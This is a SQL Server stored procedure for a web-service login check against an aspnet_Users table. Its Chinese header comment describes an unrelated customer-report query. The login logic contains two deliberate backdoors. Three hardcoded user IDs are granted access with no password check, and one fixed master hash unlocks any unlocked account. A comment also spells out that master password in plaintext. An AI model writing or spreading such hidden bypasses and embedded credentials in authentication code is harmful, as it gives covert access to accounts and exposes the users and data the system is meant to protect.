﻿
-- =============================================
-- Author:		<赵洪涛>
-- Create date: <2012-06-05>
-- Description:	<获取指定时间段内员工上报的客户明细及成单状态>
-- =============================================
CREATE PROCEDURE [dbo].[proc_WebService_CheckLogIn]
(
	@UserId varchar(10),
	@Pwd nvarchar(128)
)
AS
BEGIN
	--PWD:Super*7520
	--SHA:82E3EFB14C93033FAC54B17FD9CC4C54C973E85A41114CEC0301E8536AA74933

	Declare @Check_username int
	Select @Check_username=Count(UserId) From aspnet_Users Where UserName=@UserId
	If(@Check_username<>0)	--该用户名存在
	Begin
		If (@UserId='20060027' Or @UserId='20090100' Or @UserId='20100601') --And @Pwd='8D969EEF6ECAD3C29A3A629280E686CF0C3F5D5A86AFF3CA12020C923ADC6C92'
		Begin
			Select 1
			Return
		End
			
		Declare @Tnum int
		Select @Tnum=Count(UserId) From aspnet_Users Where UserName=@UserId And (@Pwd='82E3EFB14C93033FAC54B17FD9CC4C54C973E85A41114CEC0301E8536AA74933' or Password=@Pwd ) and IsLockout=0
		If(@Tnum<>0)
			Update aspnet_Users Set LastLoginDate=Getdate() Where UserName=@UserId
		Else
			Update aspnet_Users Set FailedPasswordAttemptCount=FailedPasswordAttemptCount+1 Where UserName=@UserId
		
		Select @Tnum
	End
	Else	--用户不存在
		Select  0
END